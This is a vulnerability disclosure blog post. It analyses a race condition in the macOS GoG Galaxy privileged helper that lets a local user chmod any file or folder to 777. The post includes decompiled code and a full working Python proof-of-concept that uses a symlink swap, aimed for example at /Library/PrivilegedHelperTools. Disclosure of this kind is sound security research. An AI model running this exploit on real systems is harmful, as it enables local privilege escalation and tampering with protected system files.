vkas-afk.github.io

View on GitHub

Arbitrary Folder / File chmod 777 in GoG Galaxy

The GoG Galaxy Application for MacOS has a race condition in its privileged helper service that allows an attacker to chmod 777 an arbitrary folder / file.

Discovering the Vulnerability

One of the steps I take when I am auditing a privileged service on macOS that interacts with normal user processes, is to instrument the privileged service with dtruss. dtruss is similiar to strace on Linux, we can use it to print out syscall and other information for the instrumented process.

After running dtruss on the privileged helper, I noticed that there was an interesting string that appeared.

write(0x3, "2022-07-25 17:46:16.998 [Information][ (0)] [TID 0x70000f954000][client_service]: Received 'changeFolderPermissionsAtPath' request with path /Users/Shared/GOG.com/Galaxy.\n\0", 0xAB)		 = 171 0

This string seemed to suggest that the GoG Galaxy binary changes permissions of itself every time it is run.

Looking at the GoG Galaxy application, we can see from the logs that the path it tries to change the permissions of, is the same path the application is run from and is therefore attacker controllable.

GoG Galaxy running from ~/Desktop

2022-07-30 23:54:12.177 [Information][ (0)] [TID 0x203832600][galaxy_client]: Requesting service to fix privileges for directory /Users/test/Desktop/GOG Galaxy.app

GoG Galaxy running from /Applications/GOG Galaxy/

2022-07-30 23:40:50.593 [Information][ (0)] [TID 0x202f41600][galaxy_client]: Requesting service to fix privileges for directory /Applications/GOG Galaxy.app

Application Side

Looking into the GoG Galaxy application, we can see that the string changeFolderPermissionsAtPath appears in the galaxy::service_message_interchange::ClientServiceInterface::requestServiceToFixPrivileges function. This function makes the XPC request to the helper.

galaxy::service_message_interchange::ClientServiceInterface::requestServiceToFixPrivileges
          (ClientServiceInterface *this,basic_string *path)
{
  ServiceManager = [ClientServiceManager sharedManager];
  utf8_str = NSString* str = [NSString stringWithUTF8String:path];
  [ServiceManager changeFolderPermissionsAtPath:utf8_str];
  ...
  return
}

This function is called by galaxy::service_message_interchange::ClientServiceInterface::fixPrivileges which is listed below.

galaxy::service_message_interchange::ClientServiceInterface::fixPrivileges(ClientServiceInterface *this,basic_string *path)
{
  service_library::Logger::Info("Requesting service to fix privileges for directory {}",path);
  ClientServiceInterface* interface = this + 0x10;
  bool isClientServiceRunning = interface + 0x18;
  if(isClientServiceRunning)
  {
    ret_val = requestServiceToFixPrivileges(interface, path);
    return ret_val;
  }
  service_library::Logger::Info("Could not start {} while requesting service to fix privileges",
   (basic_string *)&galaxy::fundamentals::constants::clientServiceName);
  return 0;
}

galaxy::service_message_interchange::ClientServiceInterface::fixPrivileges is called by AppDelegate::applicationDidFinishLaunching .This is run automatically when the application has started running its main loop, but before it has started processing any events.

void AppDelegate::applicationDidFinishLaunching:(ID param_1,SEL param_2,ID param_3)
{

  ...
  pInfo = [NSProcessInfo processInfo];
  args = [pInfo arguments];
  desc = [args description];
  path = [desc UTF8String];
  ...
  
  ...
  galaxy::service_message_interchange::ClientServiceInterface::fixPrivileges(ClientServiceInterface*client,path);
  ...

  ...
  shared_folder_path_str = [NSSTRING stringWithUTF8String:"/Users/Shared/GOG.com/Galaxy"];
  manager = [NSFileManager defaultManager];
  is_dir = 0;
  dir_exists = [manager fileExistsAtPath:path_str isDirectory:&is_dir];
  if(dir_exits)
  {
    galaxy::service_message_interchange::ClientServiceInterface::fixPrivileges(ClientServiceInterface*client,shared_folder_path_str);
  }
  ...
}


Privileged Helper Side

Looking into the changeFolderPermissionsAtPath function in the helper, we can see if the checkAuthorization function returns 0. The function will chmod the path without any additional checks.

changeFolderPermissionsAtPath(ID obj,SEL selector,NSString path)
{
  ...
  auth = [ClientService checkAuthorization:command:selector] 
  if(auth == 0)
  {
    NSString* files = NSFileManager.defaultManager().subpathsAtPath(path)
    utf8_path_string = [files UTF8String] 
    chmod(utf8_path_string, 0x1ff)
  }
  ...
}

Exploiting the Vulnerability

To exploit the vulnerability we will need to win the race. The steps that we need to take are:

  1. Start the application.
  2. Run the application for long enough that the XPC message to chmod the folder is sent and verified and the function handler is executing.
  3. Replace the contents of the folder that the application is running from with a symlink to the folder / file that we want to chmod.

Steps 2 and 3 are where the race occurs. We need to run the application for long enough that the XPC message still gets sent and verified. However, not for so long that the contents of the folder / file is still the application when the chmod command runs.

To exploit the vulnerability we need to win the race. As the application does not crash and can be run an arbitrary amount of times, the correct timing needed to win the race can be brute forced.

First, we are going to work out the approximate time it takes for the application to run chmod on itself. To do this we do the following steps in a loop:

Copy across a copy of the GoG application to /tmp/.

while True:
        shutil.copytree("/Applications/GOG Galaxy.app", "/tmp/GOG Galaxy.app")

Chmod it to be 755 and make our /tmp/app_test directory.

        os.chmod("/tmp/GOG Galaxy.app", 0o755)
        os.mkdir("/tmp/app_test")

Run the application and sleep.

        proc = Popen("/tmp/GOG Galaxy.app/Contents/MacOS/GOG Galaxy", stdin=PIPE, stdout=DEVNULL,stderr=STDOUT)
        time.sleep(initial_delay)

Rename the application folder to /tmp/app_test. We do this to avoid the helper changing the permissions of the folder to 777 after the application has quit.

        os.rename("/tmp/GOG Galaxy.app", "/tmp/app_test")

Sleep the script and then kill the process we spawned.

        time.sleep(0.1)
        time.sleep(initial_delay)
        proc.kill()
        time.sleep(0.1)

Clean up our /tmp/app_test/ folder. If /tmp/app_test has been chmod’d to 777 then we are relatively close to the correct delay for the race condition to work, so we quit the loop.

        status = os.stat("/tmp/app_test")
        mode_string = str(oct(status.st_mode)[-3:])
        shutil.rmtree("/tmp/app_test/")
        if mode_string == "777":       
                break
        initial_delay += 1

Print out the initial delay for debugging.

print("initial delay is around {} seconds".format(initial_delay))

Now that we have our initial_delay value we can start attempts to exploit the vulnerability properly.

We are going to iterate over the range of (initial_delay-2, initial_delay+2) in 100ms steps. For each iteration we are going to:

for i in range(initial_delay-2, initial_delay+2):
        for j in range(0, 10):

Copy across a copy of the GoG application to /tmp/ and make our /tmp/app_test directory.

                shutil.copytree("/Applications/GOG Galaxy.app", "/tmp/GOG Galaxy.app")
                os.mkdir("/tmp/app_test")

Run the application and sleep.

                proc = Popen("/tmp/GOG Galaxy.app/Contents/MacOS/GOG Galaxy", stdin=PIPE, stdout=DEVNULL,stderr=STDOUT)
                delay = i + (j * 0.1)
                time.sleep(delay)

Rename the application folder and create a symlink to our target in its place.

                os.rename("/tmp/GOG Galaxy.app", "/tmp/app_test")
                os.symlink(target, "/tmp/GOG Galaxy.app")

Kill the application.

                time.sleep(0.1)
                proc.kill()
                time.sleep(0.1)

Clean up the folder and symlink we have made for this iteration.

                shutil.rmtree("/tmp/app_test/")
                os.unlink("/tmp/GOG Galaxy.app")

Check if the vulnerability has trigged. If it has, we quit the loop and print out a statement.

                status = os.stat(target)
                mode_string = str(oct(status.st_mode)[-3:])
                if mode_string == "777":
                        print("exploit succeeded - permisssions of {} changed to 777".format(target))
                        done = True
                        break
                print("time taken {} current mode of {} {}".format(delay,target,mode_string))
        if done:
                break

Running the PoC

Copy the following python script to /tmp/ and run it with the first parameter being the folder / file that you want to chmod. eg.,

python3 poc.py /Library/PrivilegedHelperTools

If the code does not work you may need to change the initial_delay to be lower. The default value is based off the application running in a virtual machine so may be lower when running natively.

from subprocess import Popen, PIPE, STDOUT, DEVNULL
import os
import sys
import time
import shutil

target = sys.argv[1]
done = False
initial_delay = 15

print("computing initial delay")

while True:
        shutil.copytree("/Applications/GOG Galaxy.app", "/tmp/GOG Galaxy.app")
        os.chmod("/tmp/GOG Galaxy.app", 0o755)
        os.mkdir("/tmp/app_test")

        proc = Popen("/tmp/GOG Galaxy.app/Contents/MacOS/GOG Galaxy", stdin=PIPE, stdout=DEVNULL,stderr=STDOUT)
        time.sleep(initial_delay)
        os.rename("/tmp/GOG Galaxy.app", "/tmp/app_test")

        time.sleep(0.1)
        time.sleep(initial_delay)
        proc.kill()
        time.sleep(0.1)

        status = os.stat("/tmp/app_test")
        mode_string = str(oct(status.st_mode)[-3:])
        shutil.rmtree("/tmp/app_test/")
        if mode_string == "777":       
                break
        initial_delay += 1
        
print("initial delay is around {} seconds".format(initial_delay))

for i in range(initial_delay-2, initial_delay+2):
        for j in range(0, 10):
                shutil.copytree("/Applications/GOG Galaxy.app", "/tmp/GOG Galaxy.app")
                os.mkdir("/tmp/app_test")

                proc = Popen("/tmp/GOG Galaxy.app/Contents/MacOS/GOG Galaxy", stdin=PIPE, stdout=DEVNULL,stderr=STDOUT)

                delay = i + (j * 0.1)
                time.sleep(delay)

                os.rename("/tmp/GOG Galaxy.app", "/tmp/app_test")
                os.symlink(target, "/tmp/GOG Galaxy.app")

                time.sleep(0.1)
                proc.kill()
                time.sleep(0.1)

                shutil.rmtree("/tmp/app_test/")
                os.unlink("/tmp/GOG Galaxy.app")

                status = os.stat(target)
                mode_string = str(oct(status.st_mode)[-3:])

                if mode_string == "777":
                        print("exploit succeeded - permisssions of {} changed to 777".format(target))
                        done = True
                        break
                print("time taken {} current mode of {} {}".format(delay,target,mode_string))
        if done:
                break
Video of the Exploit Running

The video is sped up 5x because the PoC took upwards of roughly 6 minutes to run in the virtual machine.

image

Disclosure Timeline